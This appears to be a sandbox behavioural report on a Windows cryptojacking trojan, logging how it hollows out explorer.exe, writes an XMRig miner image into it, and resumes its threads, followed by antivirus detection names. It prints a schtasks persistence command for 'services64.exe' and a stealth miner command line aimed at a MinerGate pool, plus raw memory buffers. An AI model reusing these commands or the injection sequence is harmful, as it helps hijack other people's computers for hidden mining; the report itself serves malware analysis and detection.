 buffer: ÅøwH‰\$H‰t$H‰|$UATAUAVAWHƒìPót$@ó|$0óDD$ óDL$óD$HƒìPóD\$@óDd$0óDl$ óDt$óD<$Hì@Hl$@HƒåàÅùïÀ3ÿÇEL‹âÇE L‹òÇE IÁîAƒäÇE  M‹èÆE H‹ñ‹ßÅýE ÅýE@ÅýE`Åý…€Åý… Åý…ÀÅý…àM…öt>¶DHM H ÁH‹H1L{Hƒûu HM èñHƒûH‹ÇIEÇHƒÆH‹ØIƒîuÂH‹×M…ätL‹Ç¶2HÿÂÄâ¹÷ÈH ùIƒÀI;Ôrè¶DHU H¹JåÄâù÷ÉH3 ¸HÁà?H3ÏH‰ H1EhHM èxÅüE ÄÁ|EÅøwHÄ@óDo<$óDot$óDol$ óDod$0óDo\$@HƒÄPóDo$óDoL$óDoD$ óo|$0óot$@HƒÄPA_A^A]A\]H‹\$H‹t$H‹|$ÃLL ÖL/¸HI`Äâ}YA ÅþoI¨ÅþoQÈÅþoYèÅþoaÅþoi(ÅþoqHfÅ}pêNÅUïãÅ]ïÎÅïáÄAïáÄCýܓÅïêÄÃýýNÄÁ=sÔ?ÄAÔÌÄA=ëÁÄCýø9ÄA=ïóÄCýöÅïèÅïïÄÁEsÕ?ÄAÔÅÅ=ëÇÄÁmïÖÄÁ}ïÆÄCøÀÄC%ÝÄAïûÄBíGP ÄÂíEQ ÄÁmëÒÄÁeïßÄBåGXàÄÂåEYàÄÁeëÛÄÁ]ïçÄBÝG ÄÂÝE!ÄÁ]ëäÄÁUïïÄBÕGh ÄÂÕEi ÄÁUëíÄÁMï÷ÄcýҍÄcýۍÄBÍGp@ÄBÍEA@ÄA=ëÆÄÁuïÏÄcýäÄcýírÄBõGxÀÄBõEIÀÄA5ëÏÄÁ sØÄÁ=ßþÄÃ5Ý ÄC%ù ÄÃ-ë ÄC5ò ÄÃeÛ0ÄCü0ÄÃUé0ÄC õ0ÄÃeÜÀÄCýÀÄÃUíÀÄC óÀÄÁeßßÄÁUßîÄÃñ ÄC-ü ÄÁeïÚÄÃMò0ÄCû0ÄÁUïìÄÃMóÀÄCùÀÄÁMß÷ÄÁMïõÄÃýàÄc]ø0ÄÃýÈ9ÄãuÈÀÄÁußÏÄÃ%Ô ÄCó ÄÃmÕ0ÄC ò0ÄÃmÒÀÄC ôÀÄÁmßÖÄÁmïÑÄãýÿÄãýÛÄãýíÄãýörÄÃâ ÄCõ ÄÃ]ä0ÄC ñ0ÄÃ]áÀÄC òÀÄÁ]ßæÅýïÇÄÁuïÈÄÁ]ïãÄÁ}ïMR ÿÈ…²ýÿÿÄáù~A ÅþI¨ÅþQÈÅþYèÅþaÅþi(ÅþqHÃfffff„$)>-8' =7,+=.?$%:6 8>1',+2‚€‚€‚€‚€Š€€Š€€Š€€Š€€€€€€€€€€€€€€‹€‹€‹€‹€€€€€€€€€€€€€€€€€ €€ €€ €€ €€ŠŠŠŠˆˆˆˆ €€ €€ €€ €€ € € € €‹€€‹€€‹€€‹€€‹€‹€‹€‹€‰€€‰€€‰€€‰€€€€€€€€€€€€€€€€€€€€€€€€€€ € € € € €€ €€ €€ €€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
base_address: 0x0000000140748000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer: Н0ï0ѝ0ߝ0ž0 ž00ž0@ž0؝0pž0€ž0ž0ž0Xž0 ž0Àž0õ0ž¢0›¢0Ç¢0—¢0¤¢0´¢0Ä¢0”¢0Ì¢0¨¢0à¢0Т0 ¢0°¢0À¢0¢0è¢0
base_address: 0x000000014074d000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer:  €8€P€h€ €  àtŒ0ãt}Œ4VS_VERSION_INFO½ïþ  ?êStringFileInfoÆ000004b0<CompanyNamewww.xmrig.com@ FileDescriptionXMRig miner.FileVersion6.12.1h"LegalCopyrightCopyright (C) 2016-2021 xmrig.com< OriginalFilenamexmrig.exe,ProductNameXMRig2ProductVersion6.12.1DVarFileInfo$Translation°<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>
base_address: 0x000000014074e000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x000007fffffd3010
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\ˆ>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPz†I—zéPz†T{ éPz†S{éPz†U{ŽéPzކT{ éPzCQ{ éPzéQzpèPz™T{KëPzކY{äéPzކS{éPzކ¯zéPzéÇzéPzކR{éPzRichéPzPEd† @+`ð" 4Al¶.@€u`|ÐFÜàt°`r| ðtœ‰wCPxC( wC0 4X .textt44 `.rdataŠÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata| `rH@@_RANDOMX– ptJ@`_SHA3_25@ €t J@`_TEXT_CNQt &J@`_TEXT_CN„°tFJ@`_RDATA”ÐtXJ@@.rsrc°àtZJ@@.relocœ‰ðtŠ`J@B
base_address: 0x0000000140000000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0
Process injection Process 2416 called NtSetContextThread to modify thread in remote process 1856
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.r14: 0
registers.r15: 0
registers.rcx: 5371770476
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 1112408
registers.r11: 0
registers.r8: 0
registers.r9: 0
registers.rip: 1998505216
registers.rdx: 8796092837888
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0
thread_handle: 0x000000000000021c
process_identifier: 1856
1 0 0
Process injection Process 2416 resumed a thread in remote process 1856
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000000000021c
suspend_count: 1
process_identifier: 1856
1 0 0
Time & API Arguments Status Return Repeated

NtQuerySystemInformation

 information_class: 76 (SystemFirmwareTableInformation)
-1073741789 0
Elastic malicious (high confidence)
FireEye Generic.mg.ef460c0a6998ba8f
Sangfor Trojan.Win32.Save.a
Cybereason malicious.45ae70
ESET-NOD32 a variant of MSIL/GenKryptik.FHLO
APEX Malicious
Kaspersky HEUR:Trojan.MSIL.Cryptos.gen
Avast Win64:MalwareX-gen [Trj]
Rising Trojan.FakeChrome!1.9C7B (CLASSIC)
Sophos ML/PE-A
McAfee-GW-Edition BehavesLike.Win64.VirRansom.pc
Avira HEUR/AGEN.1143066
Microsoft Trojan:Win32/Wacatac.B!ml
Cynet Malicious (score: 99)
AhnLab-V3 Trojan/Win.Generic.C4550078
McAfee Artemis!EF460C0A6998
SentinelOne Static AI - Malicious PE
MaxSecure Trojan.Malware.121218.susgen
Fortinet MSIL/GenKryptik.FHLO!tr
AVG Win64:MalwareX-gen [Trj]
CrowdStrike win/malicious_confidence_80% (D)
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000000000000c4
suspend_count: 1
process_identifier: 2972
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000134
suspend_count: 1
process_identifier: 2972
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000178
suspend_count: 1
process_identifier: 2972
1 0 0

NtResumeThread

 thread_handle: 0x000000000000021c
suspend_count: 1
process_identifier: 2972
1 0 0

CreateProcessInternalW

 thread_identifier: 2672
thread_handle: 0x0000000000000374
process_identifier: 1452
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"' & exit
filepath_r: C:\Windows\System32\cmd.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000000000000037c
1 1 0

NtResumeThread

 thread_handle: 0x000000000000039c
suspend_count: 1
process_identifier: 2972
1 0 0

CreateProcessInternalW

 thread_identifier: 2288
thread_handle: 0x000000000000040c
process_identifier: 2952
current_directory: C:\Users\test22\AppData\Roaming\Microsoft\Libs\
filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
track: 1
command_line: "C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe"
filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000000000000428
1 1 0

NtResumeThread

 thread_handle: 0x0000000000000410
suspend_count: 1
process_identifier: 2972
1 0 0

CreateProcessInternalW

 thread_identifier: 1108
thread_handle: 0x0000000000000418
process_identifier: 2416
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\Temp\services64.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\services64.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\services64.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000000000000440
1 1 0

CreateProcessInternalW

 thread_identifier: 2932
thread_handle: 0x0000000000000060
process_identifier: 2772
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"'
filepath_r: C:\Windows\system32\schtasks.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000000000000064
1 1 0

NtResumeThread

 thread_handle: 0x00000000000000c4
suspend_count: 1
process_identifier: 2952
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000138
suspend_count: 1
process_identifier: 2952
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000178
suspend_count: 1
process_identifier: 2952
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000268
suspend_count: 1
process_identifier: 2952
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000c4
suspend_count: 1
process_identifier: 2416
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000138
suspend_count: 1
process_identifier: 2416
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000178
suspend_count: 1
process_identifier: 2416
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000220
suspend_count: 1
process_identifier: 2416
1 0 0

CreateProcessInternalW

 thread_identifier: 288
thread_handle: 0x0000000000000378
process_identifier: 2208
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"' & exit
filepath_r: C:\Windows\System32\cmd.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000000000000380
1 1 0

NtResumeThread

 thread_handle: 0x00000000000004f4
suspend_count: 1
process_identifier: 2416
1 0 0

NtResumeThread

 thread_handle: 0x000000000000071c
suspend_count: 1
process_identifier: 2416
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000cc
suspend_count: 1
process_identifier: 2416
1 0 0

CreateProcessInternalW

 thread_identifier: 2976
thread_handle: 0x000000000000021c
process_identifier: 1856
current_directory: C:\Windows
filepath:
track: 1
command_line: C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr.pool.minergate.com --user=hidminer@protonmail.com --pass= --cpu-max-threads-hint=30 --cinit-idle-wait=2 --cinit-idle-cpu=80 --cinit-stealth
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 1
process_handle: 0x0000000000000218
1 1 0

NtUnmapViewOfSection

 base_address: 0x0000000140000000
region_size: 8786417680384
process_identifier: 1856
process_handle: 0x0000000000000218
-1073741799 0

NtAllocateVirtualMemory

 process_identifier: 1856
region_size: 7700480
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000140000000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000000000000218
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\ˆ>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPz†I—zéPz†T{ éPz†S{éPz†U{ŽéPzކT{ éPzCQ{ éPzéQzpèPz™T{KëPzކY{äéPzކS{éPzކ¯zéPzéÇzéPzކR{éPzRichéPzPEd† @+`ð" 4Al¶.@€u`|ÐFÜàt°`r| ðtœ‰wCPxC( wC0 4X .textt44 `.rdataŠÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata| `rH@@_RANDOMX– ptJ@`_SHA3_25@ €t J@`_TEXT_CNQt &J@`_TEXT_CN„°tFJ@`_RDATA”ÐtXJ@@.rsrc°àtZJ@@.relocœ‰ðtŠ`J@B
base_address: 0x0000000140000000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000140001000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000140342000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000140470000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000140726000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer: H‹Ð%Àÿ HÁÊ âÀÿ fffffff„fffffff„„SUWVATAUAVAWHƒìPót$@ó|$0óDD$ óDL$óD$HƒìPóD\$@óDd$0óDl$ óDt$óD<$QH‹*H‹zH‹ÅHÁè %ÀÿÿI‹ðI‹ÙH‹ÅM3ÀM3ÉM3ÒM3ÛM3äM3íM3öM3ÿHIxfD(AHfD(IXfD(QhfD(YxfD(-ŒfD(5“fD(=šH‹Ð%ÀÿHÁÊ âÀÿHƒì(Ç$ÀŸÇD$À¿ÇD$ÀßÇD$ ÀÿÇD$ ÿÿÿÿëhfffffff„fffffff„fffffff„fff„ÀÿÿÿÿÀÿÿÿÿð€ð€H¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QHÄ€ëfffffff„„H H‰L$L3L3IL3QL3YL3a L3i(L3q0L3y8H H‰L$óæóæIóæQóæYóæa óæi(óæq0óæy8fATåfATífATõfATýfAVæfAVîfAVöfAVþH H‰L$L3L3IL3QL3YL3a L3i(L3q0L3y8H H‰L$óæóæIóæQóæYóæa óæi(óæq0óæy8ÈX¢æЏÈP¢îЏÈH¢öЏÈ@¢þАH3è‹ÕâÀÿÿHÁÍ ‹ÕâÀÿÿH L3L3IL3QL3YL3a L3i(L3q0L3y8H‹ÍHÁé áÀÿÿL3H3è‹ÕâÀÿÿHÁÍ L3LL3TL3\L3d L3l(L3t0L3|8HƒìHH‰\$@L‰D$8L‰L$0L‰T$(L‰\$ L‰d$L‰l$L‰t$L‰<$H3èHÁÍ ‹ÝãÀÿÿÁëH‹\$@L3D$8L3L$0L3T$(L3\$ L3d$L3l$L3t$L3<$HƒÄHH‹L$L‰L‰IL‰QL‰YL‰a L‰i(L‰q0L‰y8H‹L$fWÄfWÍfWÖfWßf)f)If)Q f)Y0ff„SUWVATAUAVAWH‹9H‹òI‹èAQ H‹ÝèÞL‰L‰NL‰VL‰^L‰f L‰n(L‰v0L‰~8HƒÅHƒÆ@H;,$rÈAYA_A^A]A\^_][Ãfffffff„fffffff„@SUWVATAUAVAWHìó$óL$óT$ ó\$0ód$@ól$Pót$`ó|$póD„$€óDŒ$óD”$ óDœ$°óD¤$ÀóD¬$ÐóD´$àóD¼$ðH‹9H‹òI‹èAQHƒì(éš-•L-ôQXü¡õYŠ— FØÂ8ߙp§\I"¿¹&bŠŸ—%MI ìªÎ¹ï7’x-æltV*/Nå,¶÷;…„fffffff„fffffff„fffffff„DF@†€†À†H‹ÝHãÿÿ?HÁãHßHEH%ÿÿ?HÁàHÇH‰$HEH%ÿÿ?HÁàHÇH‰D$HEH%ÿÿ?HÁàHÇH‰D$HEH%ÿÿ?HÁàHÇH‰D$LEL¯ïþÿÿL‹ ðþÿÿM3ÈL‹îþÿÿM3ÐL‹ìþÿÿM3ØL‹%êþÿÿM3àL‹-èþÿÿM3èL‹5æþÿÿM3ðL‹=äþÿÿM3øH‰l$ Äâ}D$ ÅýÔmþÿÿÄâ} ŒþÿÿŽsРŵsÑ Å}ôÑÅ5ôØŽôÁÄÁ%só Åýsð ÄA-ÔÓÅ­ÔÀÄâ} aþÿÿÅýïÉÄâ}\þÿÿÅýïÒÄâ}WþÿÿÅýïÛÄâ}%RþÿÿÅýïäÄâ}-MþÿÿÅýïíÄâ}5HþÿÿÅýïöÄâ}=CþÿÿÅýïÿÄb}=öýÿÿÄÁ s÷L‰Å}lÁL‰NÅmlËL‰VÅ]lÕL‰^ÅMlßL‰f Å}máL‰n(ÅmmëL‰v0Å]mõL‰~8ÅMmÿÄÃ=FÁ ÄÃ-FË ÅþF@ÅþN`ÄÃFÕ Äà Fß Åþ–€Åþž ÄÃ=Fá1ÄÃ-Fë1Åþ¦ÀÅþ®àÄÃFõ1Äà Fÿ1Åþ¶Åþ¾ HƒÅHÆ@H;l$(‚HƒÄ(AYóo$óoL$óoT$ óo\$0óod$@óol$Póot$`óo|$póDo„$€óDoŒ$óDo”$ óDoœ$°óDo¤$ÀóDo¬$ÐóDo´$àóDo¼$ðÅøwHÄA_A^A]A\^_][ÃHƒì(H‰$Å~t$H‹D$(H‹\$0H‹L$8H‹T$@Å~oÅ~o Å~oÅ~oÄA=láÄA-lëÄCFõ ÄÁ}ïÆÄCFõ1ÄÁmïÖÄA=máÄA-mëÄCFõ ÄÁuïÎÄCFõ1ÄÁeïÞÅ~o@ Å~oK Å~oQ Å~oZ ÄA=láÄA-lëÄCFõ ÄÁ]ïæÄCFõ1ÄÁMïöÄA=máÄA-mëÄCFõ ÄÁUïîÄCFõ1ÄÁEïþH‹$Å~ot$HƒÄ(Åþ$H‹$H%ÿÿ?HÁàHÇH‰$H‹D$H%ÿÿ?HÁàHÇH‰D$H‹D$H%ÿÿ?HÁàHÇH‰D$H‹D$H%ÿÿ?HÁàHÇH‰D$HƒÄ(YL‰L‰IL‰QL‰YL‰a L‰i(L‰q0L‰y8fA@fIPfQ`fYpHI@fa@fiPfq`fypóDo<$óDot$óDol$ óDod$0óDo\$@HƒÄPóDo$óDoL$óDoD$ óo|$0óot$@HƒÄPA_A^A]A\^_][Ãfffffff„fffffff„fff„L3L3KL3SL3[L3c L3k(L3s0L3{8Hãÿÿ?HÁãHߐfffffff„LCHãÿÿ?HÁãHßL¯cL‹ dM3ÈL‹bM3ÐL‹`M3ØL‹%^M3àL‹-\M3èL‹5ZM3ðL‹=XM3øéXfffffff„f„-•L-ôQXü¡õYŠ— FØÂ8ߙp§\I"¿¹&bŠŸ—%MI ìªÎ¹ï7’x-æltV*/Nå,¶÷;…„ºL‹Á3ÀH½ÉHÓâI÷ðÃ
base_address: 0x0000000140747000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer: ÅøwH‰\$H‰t$H‰|$UATAUAVAWHƒìPót$@ó|$0óDD$ óDL$óD$HƒìPóD\$@óDd$0óDl$ óDt$óD<$Hì@Hl$@HƒåàÅùïÀ3ÿÇEL‹âÇE L‹òÇE IÁîAƒäÇE  M‹èÆE H‹ñ‹ßÅýE ÅýE@ÅýE`Åý…€Åý… Åý…ÀÅý…àM…öt>¶DHM H ÁH‹H1L{Hƒûu HM èñHƒûH‹ÇIEÇHƒÆH‹ØIƒîuÂH‹×M…ätL‹Ç¶2HÿÂÄâ¹÷ÈH ùIƒÀI;Ôrè¶DHU H¹JåÄâù÷ÉH3 ¸HÁà?H3ÏH‰ H1EhHM èxÅüE ÄÁ|EÅøwHÄ@óDo<$óDot$óDol$ óDod$0óDo\$@HƒÄPóDo$óDoL$óDoD$ óo|$0óot$@HƒÄPA_A^A]A\]H‹\$H‹t$H‹|$ÃLL ÖL/¸HI`Äâ}YA ÅþoI¨ÅþoQÈÅþoYèÅþoaÅþoi(ÅþoqHfÅ}pêNÅUïãÅ]ïÎÅïáÄAïáÄCýܓÅïêÄÃýýNÄÁ=sÔ?ÄAÔÌÄA=ëÁÄCýø9ÄA=ïóÄCýöÅïèÅïïÄÁEsÕ?ÄAÔÅÅ=ëÇÄÁmïÖÄÁ}ïÆÄCøÀÄC%ÝÄAïûÄBíGP ÄÂíEQ ÄÁmëÒÄÁeïßÄBåGXàÄÂåEYàÄÁeëÛÄÁ]ïçÄBÝG ÄÂÝE!ÄÁ]ëäÄÁUïïÄBÕGh ÄÂÕEi ÄÁUëíÄÁMï÷ÄcýҍÄcýۍÄBÍGp@ÄBÍEA@ÄA=ëÆÄÁuïÏÄcýäÄcýírÄBõGxÀÄBõEIÀÄA5ëÏÄÁ sØÄÁ=ßþÄÃ5Ý ÄC%ù ÄÃ-ë ÄC5ò ÄÃeÛ0ÄCü0ÄÃUé0ÄC õ0ÄÃeÜÀÄCýÀÄÃUíÀÄC óÀÄÁeßßÄÁUßîÄÃñ ÄC-ü ÄÁeïÚÄÃMò0ÄCû0ÄÁUïìÄÃMóÀÄCùÀÄÁMß÷ÄÁMïõÄÃýàÄc]ø0ÄÃýÈ9ÄãuÈÀÄÁußÏÄÃ%Ô ÄCó ÄÃmÕ0ÄC ò0ÄÃmÒÀÄC ôÀÄÁmßÖÄÁmïÑÄãýÿÄãýÛÄãýíÄãýörÄÃâ ÄCõ ÄÃ]ä0ÄC ñ0ÄÃ]áÀÄC òÀÄÁ]ßæÅýïÇÄÁuïÈÄÁ]ïãÄÁ}ïMR ÿÈ…²ýÿÿÄáù~A ÅþI¨ÅþQÈÅþYèÅþaÅþi(ÅþqHÃfffff„$)>-8' =7,+=.?$%:6 8>1',+2‚€‚€‚€‚€Š€€Š€€Š€€Š€€€€€€€€€€€€€€‹€‹€‹€‹€€€€€€€€€€€€€€€€€ €€ €€ €€ €€ŠŠŠŠˆˆˆˆ €€ €€ €€ €€ € € € €‹€€‹€€‹€€‹€€‹€‹€‹€‹€‰€€‰€€‰€€‰€€€€€€€€€€€€€€€€€€€€€€€€€€ € € € € €€ €€ €€ €€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
base_address: 0x0000000140748000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000140749000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x000000014074b000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer: Н0ï0ѝ0ߝ0ž0 ž00ž0@ž0؝0pž0€ž0ž0ž0Xž0 ž0Àž0õ0ž¢0›¢0Ç¢0—¢0¤¢0´¢0Ä¢0”¢0Ì¢0¨¢0à¢0Т0 ¢0°¢0À¢0¢0è¢0
base_address: 0x000000014074d000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer:  €8€P€h€ €  àtŒ0ãt}Œ4VS_VERSION_INFO½ïþ  ?êStringFileInfoÆ000004b0<CompanyNamewww.xmrig.com@ FileDescriptionXMRig miner.FileVersion6.12.1h"LegalCopyrightCopyright (C) 2016-2021 xmrig.com< OriginalFilenamexmrig.exe,ProductNameXMRig2ProductVersion6.12.1DVarFileInfo$Translation°<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>
base_address: 0x000000014074e000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x000000014074f000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

NtGetContextThread

 thread_handle: 0x000000000000021c
1 0 0

WriteProcessMemory

 buffer: @
base_address: 0x000007fffffd3010
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

NtSetContextThread

 registers.r14: 0
registers.r15: 0
registers.rcx: 5371770476
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 1112408
registers.r11: 0
registers.r8: 0
registers.r9: 0
registers.rip: 1998505216
registers.rdx: 8796092837888
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0
thread_handle: 0x000000000000021c
process_identifier: 1856
1 0 0

NtResumeThread

 thread_handle: 0x000000000000021c
suspend_count: 1
process_identifier: 1856
1 0 0

CreateProcessInternalW

 thread_identifier: 2540
thread_handle: 0x0000000000000060
process_identifier: 2492
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"'
filepath_r: C:\Windows\system32\schtasks.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000000000000064
1 1 0

NtResumeThread

 thread_handle: 0x0000000000000208
suspend_count: 1
process_identifier: 1856
1 0 0

NtResumeThread

 thread_handle: 0x000000000000020c
suspend_count: 1
process_identifier: 1856
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000210
suspend_count: 1
process_identifier: 1856
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000214
suspend_count: 1
process_identifier: 1856
1 0 0
dead_host 192.168.56.101:49212
dead_host 49.12.80.40:3333